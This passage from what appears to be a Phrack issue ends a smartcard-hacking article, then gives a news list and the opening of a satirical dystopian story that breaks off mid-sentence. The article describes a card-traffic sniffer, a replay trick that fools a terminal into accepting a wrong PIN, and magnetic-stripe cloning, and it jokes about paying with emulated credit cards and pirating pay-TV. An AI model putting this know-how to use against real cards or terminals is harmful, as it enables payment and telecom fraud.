	Something which is very useful for studying smartcards is a Season :
             _____________                 __________
             |           |--  6            |--      |
             | Terminal  | |--/------------| Card   |
             |___________|--         |     |________|
                                     / 3                        Display ;)
                                  ___|____                     ____________
                                 | Season |      3             | logging: | 
                                 |________|------/-----RS232-->| 3F 16 15 |

    You need to connect 6 wires from your smartcard to a Wafer, but only 3
to your computer. If you have read the standard, you now that there is only 
one pin dedicated to the Input/Output. You also need to connect the ground 
(useful to have a reference...) and the Reset pin in order to start logging 
when the card boots. It will permit you to log the dialog between the 
terminal and the smartcard. This the most common way to analyse a smartcard 
when you have an access to the terminal, but you might want to study the 
terminal with a logic analyser awfuly expensive and reverse the results on 
the screen of your oscilloscope (might sound very silly, but someone did 
that :p). If for some reasons you don't have any physical access to the 
terminal, report to next part.
The scheme for a season is quite simple, you can add some LEDs to see what 
is going on. The MAX232 is here to convert the 5V from the card pins to 
the 12V of the RS232 link of your computer (or laptop ;).

                                 |                         |
   +-----------------------------|-+     LED 3mm  R1 250ohm|
   |                    1 _   _16| |     ____|/|___/\/\/\__+
   |                    -| |_| |-+ |     |   |\|           | 
   | +---------------+  -|  M  |---|-----+                 |  Connector ISO
 1 | |               |  -|  A  |---+   __|__               |              
 __|_|_______ 5      |  -|  X  |-      /////             1 |______ 5
 | | | . . ._______  |  -|  2  |-                         /+_|  __+-------+
  \ . . . . /     |  |  -|  3  |---------------------------+_|  |___|     |
 6 \_______/ 9    |  +---|  2  |-----------------+       |___|__|_+----+  |
     DB9          |     -|_____|-                |      4 \__|__|__/ 8 |  |
                  |     8       9                +---------------------+  |
                  |                                                       |
                               Scheme for a season
ISO Pins                        DB9 Pins
1. Vcc   5. Gnd             1   2   3   4   5
2. Rst   6. Nc             DCD RxD TxD     GND
3. Clk   7. I/O               6   7   8   9
4. Nc    8. Nc
Don't forget to add 4 x 0.1uF between pins 2-16, 15-6, 1-3 and 4-5 of the 
MAX232. You can refer to the MAX232 datasheet for more details (ascii scheme 
are not that clear...)
	Now you have to log the data, just write somewhere on your hard drive 
the datas sent and received by the card. You can try this with the 'log' 
command in shcap, or with the program 7816logger from sctk.

The real problem is to analyse these datas. 

    * Firstly, the card send an ATR (which stand for Answer To Reset). 

    * Now that the terminal know the identity of the card, it can send 
    instructions composed firstly of 5 bytes. 
    * Then the card repeat the code of the instruction and the terminal can 
    send the argument buffer if it is not empty, then the card can answer, 
    * et caetera... 

You can try to search the ISO class (sent just after the ATR) and try to
indent your log with just this information, and the knowledge of the 
"protocol" as explained earlier...

    After that, you should be able to recreate the behaviour expected by the 
terminal, excepted for the cryptographic instructions... but this is another 
problem. You have surely heard of S/DPA (Single/Differential Power Analysis), 
DFA (Differential Fault Attack) or Time Attack which are the current means for
retrieving "easily" the keys stored inside cards. But this is not our topic.

    Obviously, if you want to make an attack against a terminal with such a
system, you can : by overriding the real card, recording what the card 
must answer, and processing the answer before replaying. The processing could
be used, for example, to make the terminal believe the PIN you entered was the 
good one (because you are evil and you are trying a card which is not yours),
by putting the card in standby and reproducing the behaviour of the card as
if the PIN was really the good one... 
It only works if the authentification system of the smartcard doesn't need 
the PIN for generating the certificate, which is not really common.
Well, if you can reproduce the authentification, it is not necessary to do 
such an attack, because you can get rid of the original card, but it is not 
an easy way ;)

You can find at the end of the article an exemple of a communication between
a credit card and a terminal. The datas inside the cards are not always 
obvious to guess. Generally, you can hope to find an official documentation
somewhere, or try to see the changes that happen between each use of the 

--[ 4 - BruteForcing unidenfitied cards ]----------------------------------

	When you don't know the ISO class of the card you want to play with, 
you can bruteforce the iso class. It is not very dificult if your computer 
is able to count from 0x00 to 0xFF.
By retrieving the error codes from the card, you know the class is the good
one because the card send you an INS Error (6D 00), instead of a CLA error
(6E 00).

	So you've got it. And instructions are public, so I put some 
examples upper, and others are in the ISO7816, and on the Internet...

    To guess the architecture of a card is a different matter. Always try the 
instruction 0xB0 to see if you can read some addresses, and you'll can 
interpret the error messages if you cannot read. If the smartcard has got 
a filesystem, you can verify it with selecting (ins 0xA4) the root directory 
0x3F00, and see what is going on. Get the response to see if there are some 
other directories. 
As you know the error code for a P1 P2 wrong (bad address) you also can try to 
evaluate the capacity of the card: 8ko ? 64 ko ?. It works only if there is no 
filesystem, like in credit cards... See for examples down here :

--[ 5 - Examples of mapping and filesystem ]-------------------------------

----[ 5.1 - Mapping of old french Credit cards ]---------------------------

Bull CP8 mask B0-B0'

$1000 | Constructor area  |
$09C0 |                   |
      |    FREE READ      |
$07F8 |    Transaction    |
      |      Bulletin     |
$02B0 |  SECRET AREA      |
$0200 |       N/A         |     

----[ 5.2 - File System of SIM Cards ]-------------------------------------

--GSM SIMcard

3F00 ROOT dir
   \__2FE2 Card serial Number

  |\__6F3A Directory
  |\__6F3B Fixed directory
  |\__6F3C SMS
  |\__6F40 Last calls
  |\__6F42 SMS pointer
  |\__6F43 SMS status
  |\__6F44 Dialing numbers
  |\__6F4A Extension 1
   \__6F4B Extension 2

7F20 GSM
  |\__6F05 Language
  |\__6F07 IMSI
  |\__6F20 Cyphering Key
  |\__6F30 Provider selector
  |\__6F31 Search Period
  |\__6F37 Account Max
  |\__6F38 Sim Service Table
  |\__6F39 Cumulated calls
  |\__6F3D Capability Config Param 
  |\__6F3E Group ID 1
  |\__6F3F Group ID 2
  |\__6F41 Price per unit
  |\__6F45 Cell Broadcast msg ID
  |\__6F74 Broadcast Control Chan
  |\__6F78 Access Control Class
  |\__6F7B Providers Forbidden
  |\__6F7E Location Info
  |\__6FAD Admin data
   \__6FAE Phase ID

Then, you can log the communication between your SIM card and your 
mobile phone if you want more information ;)
--[ 6 - Cyphering with smartcards ]----------------------------------------

	All smartcards can cypher or generate a certificate to authenticate 
itself to a terminal or a provider. Mostly the instructions 0x80 to 0x8F are 
used to do it. To get the answer, just ask for it with the 0xC0 instruction.
	Open cards are made particularly to such things. Open means you can 
find all the documentation you want about it on the Internet 
(, so I won't stay on it...
    The encryption system in smartcards is mostly to authenticate the card.
But all its security do not depends only on the cryptographic mechanisms 
inside the card. The protocol is generally the weak part of the 

--[ 7 - Magnetic stripe ]--------------------------------------------------
	Magnetic stripes on smartcards are very common. As this is a completely 
passive way of authentification, it can easily be cloned. However, it also 
means that all the difficulty is in the interpretation of the data contained 
in the stripes and the understanding of the algorithms for cyphering 
discretionnary data in the case you might want to generate your own card, 
or just change some information.
You will need for this part of a magnetic stripe reader. It is quite expensive
but it is also possible to make its own driver and do it with just a tape 
recorder. You can try cmread
for a driver on LPT1.

    Depending on your software and hardware, you will have more or less easily
these informations : the density of encoding, and the number of bits per 
character. For the number of bits per character, if you have read with the good 
number of bits without errors, then you have to check the parity bits. Normally, 
the soft you used to read the stripe is able to to do such a thing, other wise 
the method consist in :
	- Take the first bit equal to 1
	- Check the parity on the first 5 bit
	- If it is not OK, then try with 6,7,8 or 9 
	- Try on the next pack of [5,6,7,8,9] till the end.
	- Check the LRC

There are two ways for detecting error, the first is with the parity bits, the
second is the LRC for Longitudinal Redondancy Check. The character of the track
is equal to the XOR of all characters. 

There are 3 different cases easily recognizable :

----[ 7.1 - ISO ]----------------------------------------------------------
	ISO-1 (210 bpi - 7 bits) : The stripe is divided in several parts :

- '%' Start sentinel 
- 'B' Format code
- Primary account number (your account number on your credit card for example)
- '^'  Field separator
- Name of the owner
- Field separator
- Expiration date (4 BCD numbers)
- Service Code (101 for VISA, ...)
- Discretionnary data 
- '?' End Sentinel 
- LRC 

Example :
% B 0123456789012345 ^ MR SMITH JOHN       ^ 9910 101 
123456789000000123000000 ?

It is not compulsory exactly like that, but it cannot differ a lot. 
	ISO-2/3 (75 bpi - 5 bits):

- ';' Start Sentinel 
- Primary Account Number
- '=' Field separator 
- Expiration date	
- Service code
- Discretionnary data
 '?' End Sentinel 

; 01236789012345 = 9910 101 123456789000000123 ?

Note that the PAN (Primary Account Number) must verify the Lhun Algorithm.

	The standard is ISO-7811 if you want more information...

----[ 7.2 - ALPHANUMERIC ]-------------------------------------------------

	It is quite like ISO, but a bit less verbose. You just have the same
Start sentinel depending on the number of the track (1 : '%', 2 & 3 : ';'), 
the same Field Separators, and End Sentinel. Between Start and End Sentinels, 
you have data coded in BCD or ALPHA separated by the field separator of the 
track related.	

----[ 7.3 - BINARY ]-------------------------------------------------------
	Keep in mind that there is not necessarily a structure like that. 
Sometimes bit are put in desorder, as if the designer of the stripe was 
completly drunk and was playing dice with friends to know what to do...
Just use your card and try to understand what has changed.

--[ 8 - Synchronous smartcards ]-------------------------------------------

	I just put this part in order to do a complete tour on smartcards. This 
type of card is very lame, They have a poor capacity (less than 1kb in 
general), they don't always respect ISO standard for pins. What is sure is 
that you have 2 pins for Vcc and the ground, 1 pin for the Clock, 1 pin for 
the reset, 1 pin for the I/O, and sometimes 1 pin for the Vpp (programming 
voltage) and 1 pin for the Write Enabled.
	They don't have an ATR. They just react on negative edges of the Clock 
pin by sending the next bit (or first if it is reseted) in its memory on the 
I/O pin. If you can write, you will need a different voltage put on the Vpp 
pin (up to 21V) and enable the Write pin. Generaly, you just can set a bit 
from 1 to 0 beacuse of the OTP (One Time Programmable) technology used 
inside (you just flash a fuse in the chip).
	French telephone cards use such a technology (Merci, France TeleCom.) ;)

--[ 9 - Programming a card for ISO7816 purposes ]--------------------------

	If you can read this line, it is because Phrack has accepted my 
article without asking me to paste some of my codes to write a bloody 
tutorial to code your own smartcard emulator using a pic from microchip 
( and then you will need to think by yourself if you are 
interested in how to write such programs (it is not very obvious...). As I 
am nice and gentle, I give you the most common architecture :

	- Send the ATR (On each reset it will restart here)
	- Wait for the first Byte (ISO class) and verify it is the right one
	- Receive the second byte and compare it with each byte INS you have 
	implemented, other wise send an error.
	- Jump to the part of code written for the INS asked for and process the
	- Then you have 2 choices  (The Hacker's Choice is the best :p) :
		* use an eeprom to save all your datas, and then read and write 
		it in order to complete the instrion asked for by the terminal
		* use the PIC flash, by writting a list of RETLW 0xXX, determine
		the offset of the Byte nee
ded and then just add this offset to 
		the current Program Counter.

	Some advises :

    - ISO 7816-3 is your friend ;)
	- Never forget the parity bit to send datas, and also the ACK (or NACK) 
	when you receive
	- Wait for a ACK from the terminal, if it is a NACK, just send again, 
	and it will works
	- Write your own code, it will avoid you from silly bugs you don't 
	understand that could lead you in prison in case of problem (big brother
	is always watching you, you cannot be wrong...)
	- Don't do too nasty things, work only on an emulated terminal on your 
	computer :p
    - Google is your friend to find URL for programming PIC-based smartcards
--[ 10 - Conclusion ]-----------------------------------------------------

	No need to work in a laboratory to play with smartcards security at 
an interesting level. Don't believe that S/DPA, or DFA is the only way
to study cards. Some of the articles on such methods are written by people 
who has never seen a glitch generator in their whole life...
Eventually you just need an old 486 and a soldering iron to find security
holes in smartcard protocols and then buy some food with emulated credit 
cards, phone friends with a self made SIM card watching numeric tv with a 
self made viaccess/seca smartcard and enter in almost place protected with 
smartcard or magnetic cards. Or just keep it for you ;)

--[ 11 - Greetings ]-------------------------------------------------------

	Roland Moreno ;)

--[ 12 - Bibliography ]----------------------------------------------------

    -PC et Cartes a puce, Patrick Gueule
	-Ender's Game, Orson Scott Card
	-The Hitchhiker's Trilogy, Douglas Adams
	-Discworld, Terry Pratchett
--[ Appendix A: Communication log - old_log.txt (uuencoded) ---------------

<++> ./old_log.txt.uue

begin 744 old_log.txt

<++> ./old_log.txt.uue

|=[ EOF ]=---------------------------------------------------------------=|


                           ==Phrack Inc.==

              Volume 0x0b, Issue 0x3e, Phile #0x10 of 0x10

|=--------------------=[ W O R L D   N E W S ]=--------------------------=|

1 - Break, Memory, by Richard Thieme
2 - The Geometry of Near, by Richard Thieme
3 - The Feasibility of Anarchy in America, by Anthony


- Windows source code leaked,1282,62282,00.html

- grsecurity 'Spender' makes fun of OpenBSD and Mac OS X

- These guys have all the books about terrorist/anarchy/combat/...

- 29A releases first worm that spreads via mobile network


                                Break, Memory


                               Richard Thieme

                        The Evolution of the Problem

      The problem was not that people couldn't remember; the problem was
that people couldn't forget.
      As far back as the 20th century, we realized that socio-historical
problems were best handled on a macro level. It was inefficient to work on
individuals who were, after all, nothing but birds in digital cages. Move
the cage, move the birds. The challenge was to build the cage big enough to
create an illusion of freedom in flight but small enough to be moved
      When long-term collective memory became a problem in the 21st
century, it wound up on my desktop.  There had always been a potential for
individuals to connect the dots and cause a contextual shift. We managed
the collective as best we could with Chomsky Chutes but an event could
break out randomly at any time like a bubble bursting. As much as we
surveil the social landscape with sensors and datamine for deep patterns,
we can't catch everything. It's all sensors and statistics, after all,
which have limits. If a phenomenon gets sticky or achieves critical mass,
it can explode through any interface, even create the interface it needs at
the moment of explosion. That can gum up the works.
      Remembering and forgetting changed after writing was invented. The
ones that remembered best had always won. Writing shifted the advantage
from those who knew to those who knew how to find what was known.
Electronic communication shifted the advantage once again to those who knew
what they didn't need to know but knew how to get it when they did. In the
twentieth century advances in pharmacology and genetic engineering
increased longevity dramatically and at the same time meaningful
distinctions between backward and forward societies disappeared so far as
health care was concerned. The population exploded everywhere
      People who had retired in their sixties could look forward to sixty
or seventy more years of healthful living. As usual, the anticipated
problems - overcrowding, scarce water and food, employment for those who
wanted it - were not the big issues.
      Crowding was managed by staggered living, generating  niches in many
multiples of what used to be daylight single-sided life. Life became double-
sided, then triple-sided, and so on. Like early memory storage devices that
packed magnetic media inside other media, squeezing them into every bit of
available space, we designed multiple niches in society that allowed people
to live next to one another in densely packed communities without even
noticing their neighbors. Oh, people were vaguely aware that thousands of
others were on the streets or in stadiums, but they might as well have been
simulants for all the difference they made. We call this the Second
Neolithic, the emergence of specialization at the next level squared.
      The antisocial challenges posed by hackers who "flipped" through
niches for weeks at a time, staying awake on Perkup, or criminals
exploiting flaws inevitably present in any new system, were anticipated and
handled using risk management algorithms. In short, multisided life works.
      Genetic engineering provided plenty of food and water.  Binderhoff
Day commemorates the day that water was recycled from sewage using the
Binderhoff Method. A body barely relinquishes its liquid before it's back
in a glass in its hand. As to food, the management of fads enables us to
play musical chairs with agri-resources, smoothing the distribution curve.
      Lastly, people are easy to keep busy. Serial careers, marriages and
identities have been pretty much standard since the twentieth century.
Trends in that direction continued at incremental rather than tipping-point
levels. We knew within statistical limits when too many transitions would
cause a problem, jamming intersections as it were with too many vehicles,
so we licensed relationships, work-terms, and personal reinvention using
traffic management algorithms to control the social flow.
      By the twenty-first century, everybody's needs were met. Ninety-eight
per cent of everything bought and sold was just plain made up. Once we
started a fad, it tended to stay in motion, generating its own momentum.
People spent much of their time exchanging goods and services that an
objective observer might have thought useless or unnecessary, but of
course, there was no such thing as an objective observer. Objectivity
requires distance, historical perspective, exactly what is lacking. Every
product or service introduced into the marketplace drags in its wake an
army of workers to manufacture it, support it, or clean up after it which
swells the stream until it becomes a river. All of those rivers flow into
the sea but the sea is never full.
      Fantasy baseball is a good example. It had long been noticed that
baseball itself, once the sport became digitized, was a simulation. Team
names were made up for as many teams as the population would watch. Players
for those teams were swapped back and forth so the team name was obviously
arbitrary, requiring the projection of a "team gestalt" from loyal fans
pretending not to notice that they booed players they had cheered as heroes
the year before. Even when fans were physically present at games, the
experience was mediated through digital filters; one watched or listened to
digital simulations instead of the game itself, which existed increasingly
on the edges of the field of perception. Then the baseball strike of 2012
triggered the Great Realization. The strike was on for forty-two days
before anyone noticed the absence of flesh-and-blood players because the
owners substituted players made of pixels. Game Boys created game boys.
Fantasy baseball had invented itself in recognition that fans might as well
swap virtual players and make up teams too but the G.R. took it to the next
level. After the strike, Double Fantasy Baseball became an industry, nested
like a Russian doll inside Original Fantasy Baseball. Leagues of fantasy
players were swapped in meta-leagues of fantasy players. Then Triple
Fantasy Baseball . Quadruple Fantasy Baseball . and now the fad is Twelves
in baseball football and whack-it-ball and I understand that Lucky
Thirteens is on the drawing boards, bigger and better than any of its
      So no, there is no shortage of arbitrary activities or useless goods.
EBay was the prototype of the future, turning the world into one gigantic
swap meet. If we need a police action or a new professional sport to bleed
off excess hostility or rebalance the body politic, we make it up. The Hump
in the Bell Curve as we call the eighty per cent that buy and sell just
about everything swim blissfully in the currents of make-believe digital
rivers, all unassuming. They call it the Pursuit of Happiness. And hey -
who are we to argue?
      The memory-longevity problem came as usual completely out of fantasy
left field. People were living three, four, five generations, as we used to
count generations, and vividly recalled the events of their personal
histories. Pharmacological assists and genetic enhancement made the problem
worse by quickening recall and ending dementia and Alzheimer's. I don't
mean that every single person remembered every single thing but the Hump as
a whole had pretty good recall of its collective history and that's what
mattered. Peer-to-peer communication means one-knows-everyone-knows and
that created problems for society in general and - as a Master of Society -
that makes it my business.
      My name is Horicon Walsh, if you hadn't guessed, and I lead the team
that designs the protocols of society. I am the man behind the Master. I am
the Master behind the Plan.

                   The Philosophical Basis of the Problem

      The philosophical touchstone of our efforts was defined in nineteenth
century America. The only question that matters is, What good is it?
Questions like, what is its nature? what is its end? are irrelevant.
      Take manic depression, for example. Four per cent of the naturally
occurring population were manic depressive in the late twentieth century.
The pharmacological fix applied to the anxious or depressive one-third of
the Hump attempted to maintain a steady internal state, not too high and
not too low. That standard of equilibrium was accepted without question as
a benchmark for fixing manic depression. Once we got the chemistry right,
the people who had swung between killing themselves and weeks of incredibly
productive, often genius-level activity were tamped down in the bowl, as it
were, their glowing embers a mere reflection of the fire that had once
burned so brightly. Evolution, in other words, had gotten it right because
their good days - viewed from the top of the tent - made up for their bad
days. Losing a few to suicide was no more consequential than a few soccer
fans getting trampled. Believing that the Golden Mean worked on the
individual as well as the macro level, we got it all wrong.
      That sort of mistake, fixing things according to unexamined
assumptions, happened all the time when we started tweaking things. Too
many dumb but athletic children spoiled the broth. Too many waddling
bespectacled geeks made it too acrid. Too many willowy beauties made it too
salty. Peaks and valleys, that's what we call the first half of the 21st
century, as we let people design their own progeny. The feedback loops
inside society kind of worked - we didn't kill ourselves - but clearly we
needed to be more aware. Regulation was obviously necessary and
subsequently all genetic alteration and pharmacological enhancements were
cross-referenced in a matrix calibrated to the happiness of the Hump.
Executing the Plan to make it all work was our responsibility, a charge
that the ten per cent of us called Masters gladly accepted. The ten per
cent destined to be dregs, spending their lives picking through dumpsters
and arguing loudly with themselves in loopy monologues, serve as grim
reminders of what humanity would be without our enlightened guidance.
      That's the context in which it became clear that everybody
remembering everything was a problem. The Nostalgia Riots of Greater
Florida were only a symptom.

                             The Nostalgia Riots

      Here you had the fat tip of a long peninsular state packed like a
water balloon with millions of people well into their hundreds. One third
of the population was 150 or older by 2175. Some remembered sixteen major
wars and dozens of skirmishes and police actions.  Some had lived through
forty-six recessions and recoveries. Some had lived through so many
elections they could have written the scripts, that's how bad it was. Their
thoughtful reflection, nuanced perspective, and appropriate skepticism were
a blight on a well-managed global free-market democracy. They did not get
depressed - pharmies in the food and water made sure of that - but they
sure acted like depressed people even if they didn't feel like it. And
depressed people tend to get angry.
      West Floridians lined benches from Key West through Tampa Bay all the
way to the Panhandle. The view from satellites when they lighted matches
one night in midwinter to demonstrate their power shows an unbroken arc
along the edge of the water like a second beach beside the darker beach.
All day every day they sat there remembering, comparing notes, measuring
what was happening now by what had happened before. They put together
pieces of the historical puzzle the way people used to do crosswords and we
had to work overtime to stay a step ahead. The long view of the Elder Sub-
Hump undermined satisfaction with the present. They preferred a different,
less helpful way of looking at things.
      When the drums of the Department of System Integration, formerly the
Managed Affairs and Perception Office, began to beat loudly to rouse the
population of our crowded earth to a fury against the revolutionary Martian
colonists who shot their resupplies into space rather than pay taxes to the
earth, we thought we would have the support of the Elder Sub-Hump. Instead
they pushed the drumming into the background and recalled through numerous
conversations the details of past conflicts, creating a memory net that
destabilized the official Net. Their case for why our effort was doomed was
air-tight, but that wasn't the problem. We didn't mind the truth being out
there so long as no one connected it to the present. The problem was that
so many people knew it because the Elder Sub-Hump wouldn't shut up. That
created a precedent and the precedent was the problem.
      Long-term memory, we realized, was subversive of the body politic.
      Where had we gotten off course? We had led the culture to skew toward
youth because youth have no memory in essence, no context for judging
anything. Their righteousness is in proportion to their ignorance, as it
should be. But the Elder Sub-Hump skewed that skew.
      We launched a campaign against the seditious seniors. Because there
were so many of them, we had to use ridicule. The three legs of the stool
of cover and deception operations are illusion, misdirection, and ridicule,
but the greatest of these is ridicule. When the enemy is in plain sight,
you have to make him look absurd so everything he says is discredited. The
UFO Campaign of the twentieth century is the textbook example of that
strategy. You had fighter pilots, commercial pilots, credible citizens all
reporting the same thing from all over the world, their reports agreeing
over many decades in the small details. So ordinary citizens were subjected
to ridicule. The use of government owned and influenced media like
newspapers (including agency-owned-and-operated tabloids) and television
networks made people afraid to say what they saw. They came to disbelieve
their own eyes so the phenomena could hide in plain sight.  Pretty soon no
one saw it. Even people burned by close encounters refused to believe in
their own experience and accepted official explanations.
      We did everything possible to make old people look ridiculous. Subtle
images of drooling fools were inserted into news stories, short features
showed ancients playing inanely with their pets, the testimony of confused
seniors was routinely dismissed in courts of law. Our trump card -
entertainment - celebrated youth and its lack of perspective, extolling the
beauty of young muscular bodies in contrast with sagging-skin bags of bones
who paused too long before they spoke. We turned the book industry inside
out so the little bit that people did know was ever more superficial. The
standard for excellence in publishing became an absence of meaningful text,
massive amounts of white space, and large fonts. Originality dimmed, and
pretty soon the only books that sold well were mini-books of aphorisms
promulgated by pseudo-gurus each in his or her self-generated niche.
      Slowly the cognitive functioning of the Hump degraded until abstract
or creative thought became marks of the wacky, the outcast, and the
      Then the unexpected happened, as it always will. Despite our efforts,
the Nostalgia Riots broke out one hot and steamy summer day. Govvies moved
on South Florida with happy gas, trying to turn the rampaging populace into
one big smiley face, but the seniors went berserk before the gas - on top
of pills, mind you, chemicals in the water, and soporific stories in the
media - took effect. They tore up benches from the Everglades to Tampa/St.
Pete and made bonfires that made the forest fires of '64 look like
fireflies. They smashed store windows, burned hovers, and looted amusement
parks along the Hundred-Mile-Boardwalk. Although the Youthful Sub-Hump was
slow to get on board, they burned white-hot when they finally ignited,
racing through their shopping worlds with inhuman cold-blooded cries. A
shiver of primordial terror chilled the Hump from end to end.
      That a riot broke out was not the primary problem. Riots will happen
and serve many good purposes. They enable us to reinforce stereotypes,
enact desirable legislation, and discharge unhelpful energies. The way we
frame analyses of their causes become antecedents for future policies and
police actions. We have sponsored or facilitated many a useful riot. No,
the problem was that the elders' arguments were based on past events and if
anybody listened, they made sense. That's what tipped the balance. Youth
who had learned to ignore and disrespect their elders actually listened to
what they were saying. Pretending to think things through became a fad. The
young sat on quasi-elder-benches from Key Largo to Saint Augustine,
pretending to have thoughtful conversations about the old days. Coffee
shops came back into vogue. Lingering became fashionable again. Earth had
long ago decided to back down when the Martians declared independence, so
it wasn't that. It was the spectacle of the elderly strutting their stuff
in a victory parade that stretched from Miami Beach to Biloxi that imaged a
future we could not abide.
      Even before the march, we were working on solving the problem. Let
them win the battle. Martians winning independence, old folks feeling their
oats, those weren't the issues. How policy was determined was the issue.
Our long-term strategy focused on winning that war.

                          Beyond the Chomsky Chutes

      The first thing we did was review the efficacy of Chomsky Chutes.
      Chomsky Chutes are the various means by which current events are
dumped into the memory hole, never to be remembered again. Intentional
forgetting is an art. We used distraction, misdirection - massive, minimal
and everything in-between, truth-in-lie-embedding, lie-in-truth-embedding,
bogus fronts and false organizations (physical, simulated, live and on the
Net). We created events wholesale (which some call short-term memory
crowding, a species of buffer overflow), generated fads, fashions and
movements sustained by concepts that changed the context of debate. Over in
the entertainment wing, the most potent wing of the military-industrial-
educational-entertainment complex, we invented false people, characters
with made-up life stories in simulated communities more real to the Hump
than family or friends. We revised historical antecedents or replaced them
entirely with narratives you could track through several centuries of
buried made-up clues. We sponsored scholars to pursue those clues and
published their works and turned them into minipics. Some won Nobel Prizes.
We invented Net discussion groups and took all sides, injecting half-true
details into the discourse, just enough to bend the light. We excelled in
the parallax view. We perfected the Gary Webb Gambit, using attacks by
respectable media giants on independent dissenters, taking issue with
things they never said, thus changing the terms of the argument and
destroying their credibility. We created dummy dupes, substitute generals
and politicians and dictators that looked like the originals in videos,
newscasts, on the Net, in covertly distributed underground snaps, many of
them pornographic. We created simulated humans and sent them out to play
among their more real cousins. We used holographic projections,
multispectral camouflage, simulated environments and many other stratagems.
The toolbox of deception is bottomless and if anyone challenged us, we
called them a conspiracy theorist and leaked details of their personal
lives. It's pretty tough to be taken seriously when your words are
juxtaposed with a picture of you sucking some prostitute's toes. Through
all this we supported and often invented opposition groups because
discordant voices, woven like a counterpoint into a fugue, showed the world
that democracy worked. Meanwhile we used those groups to gather names,
filling cells first in databases, then in Guantanamo camps.
      Chomsky Chutes worked well when the management of perception was at
top-level, the level of concepts. They worked perfectly before chemicals,
genetic-enhancements and bodymods had become ubiquitous. Then the balance
tipped toward chemicals (both ingested and inside-engineered) and we saw
that macro strategies that addressed only the conceptual level let too many
percepts slip inside. Those percepts swim around like sperm and pattern
into memories; when memories are spread through peer-to-peer nets, the
effect can be devastating. It counters everything we do at the macro level
and creates a subjective field of interpretation that resists
socialization, a cognitively dissonant realm that's like an itch you can't
scratch, a shadow world where "truths" as they call them are exchanged on
the Black Market. Those truths can be woven together to create alternative
realities. The only alternative realities we want out there are ones we
create ourselves.
      We saw that we needed to manage perception as well as conception.
Given that implants, enhancements, and mods were altering human identity
through everyday life - routine medical procedures, prenatal and geriatric
care, plastic surgery, eye ear nose throat and dental work, all kinds of
pharmacopsychotherapies - we saw the road we had to take. We needed to
change the brain and its secondary systems so that percepts would filter in
and filter out as we preferred. Percepts - not all, but enough - would be
pre-configured to model or not model images consistent with society's
      Using our expertise in enterprise system programming and management,
we correlated subtle changes in biochemistry and nanophysiology to a macro
plan calibrated to statistical parameters of happiness in the Hump. Keeping
society inside those "happy brackets" became our priority.
      So long as changes are incremental, people don't notice. Take
corrective lenses, for example. People think that what they see through
lenses is what's "real" and are trained to call what their eyes see
naturally (if they are myopic, for example) a blur. In fact, it's the other
way around. The eyes see what's natural and the lenses create a simulation.
Over time people think that percepts mediated by technological enhancements
are "real" and what they experience without enhancements is distorted.
      It's like that, only inside where it's invisible.
      It was simply a matter of working not only on electromechanical
impulses of the heart, muscles, and so on as we already did or on altering
senses like hearing and sight as we already did or on implanting devices
that assisted locomotion, digestion, and elimination as we already did but
of working directly as well on the electrochemical wetware called the
memory skein or membrane, that vast complex network of hormonal systems and
firing neurons where memories and therefore identity reside. Memories are
merely points of reference, after all, for who we think we are and
therefore how we frame ourselves as possibilities for action. All
individuals have mythic histories and collective memories are nothing but
shared myths. Determining those points of reference determines what is
thinkable at every level of society's mind.
      Most of the trial and error work had been done by evolution. Our task
was to infer which paths had been taken and why, then replicate them for
our own ends.
      Short term memory, for example, is wiped out when a crisis occurs.
Apparently whatever is happening in a bland sort of ho-hum way when a tiger
attacks is of little relevance to survival. But reacting to the crisis is
important, so we ported that awareness to the realm of the body politic.
Everyday life has its minor crises but pretty much just perks along. We
adjusted our sensors to alert us earlier when the Hump was paying too much
attention to some event that might achieve momentum or critical mass; then
we could release that tiger, so to speak, creating a crisis that got the
adrenalin pumping and wiped out whatever the Hump had been thinking. After
the crisis passed - and it always did, usually with a minimal loss of life
- the Hump never gave a thought to what had been in the forefront of its
mind a moment before.
      Once the average lifespan reached a couple of hundred years, much of
what people remembered was irrelevant or detrimental. Who cared if there
had been famine or drought a hundred and fifty years earlier? Nobody! Who
cared if a war had claimed a million lives in Botswana or Tajikistan
(actually, the figure in both cases was closer to two million)? Nobody!
What did it matter to survivors what had caused catastrophic events? It
didn't. And besides, the military-industrial-educational-entertainment
establishment was such a seamless weld of collusion and mutual self-
interest that what was really going on was never exposed to the light of
day anyway. The media, the fifth column inside the MIEE complex, filtered
out much more than was filtered in, by design. Even when people thought
they were "informed," they didn't know what they were talking about.
      See, that's the point. People fed factoids and distortions don't know
what they're talking about anyway, so why shouldn't inputs and outputs be
managed more precisely? Why leave anything to chance when it can be
designed? We knew we couldn't design everything but we could design the
subjective field in which people lived and that would take care of the
rest. That would determine what questions could be asked which in turn
would make the answers irrelevant. We had to manage the entire enterprise
from end to end.
      Now, this is the part I love, because I was in on the planning from
the beginning. We remove almost nothing from the memory of the collective!
But we and we alone know where everything is stored! Do you get it? Let me
repeat. Almost all of the actual memories of the collective, the whole
herdlike Hump, are distributed throughout the population, but because they
are staggered, arranged in niches that constitute multisided life, and news
is managed down to the level of perception itself, the people who have the
relevant modules never plug into one another!  They never talk to each
other, don't you see! Each niche lives in its own deep hole and even when
they find gold nuggets they don't show them to anybody. If they did, they
could reconstruct the original narrative in its entirety, but they don't
even know that!
      Isn't that elegant? Isn't that a sublime way to handle whiny neo-
liberals who object to destroying fundamental elements of collective
memory? We can show them how it's all there but distributed by the
sixtysixfish algorithm. That algorithm, the programs that make sense of its
complex operations, and the keys to the crypto are all in the hands of the
      I love it! Each Humpling has memory modules inserted into its
wetware, calibrated to macro conceptions that govern the thinking and
actions of the body politic. Because they don't know what they're missing,
they don't know what they're missing. We leave intact the well-distributed
peasant gene that distrusts strangers, changes, and new ideas, so if some
self-appointed liberator tries to tell them how it works, they snarl or
remain sullen or lower their eyes or eat too much or get drunk until they
forget why they were angry.
      At the same time, we design a memory web that weaves people into
communities that cohere, spun through vast amounts of disconnected data.
Compartmentalization handles all the rest. The Hump is overloaded with
memories, images, ideas, all to no purpose. We keep fads moving, quick
quick quick, and we keep the Hump as gratified and happy as a pig in its
own defecation.

                          MemoRacer, Master Hacker

      Of course, there are misfits, antisocial criminals and hackers who
want to reconstitute the past. We devised an ingenious way to manage them
too. We let them have exactly what they think they want.
      MemoRacer comes to mind when we talk about hackers. MemoRacer flipped
through niches like an asteroid through the zero-energy of space. He lived
in a niche long enough to learn the parameters by which the nichelings
thought and acted. Then he became invisible, dissolving into the
background. When he grew bored or had learned enough, he flipped to the
next niche or backtracked, sometimes living in multiple niches and changing
points of reference on the fly. He was slippery and smart, but he had an
ego and we knew that would be his downfall.
      The more he learned, the more isolated he became. The more he
understood, the less he could relate to those who didn't. Understand too
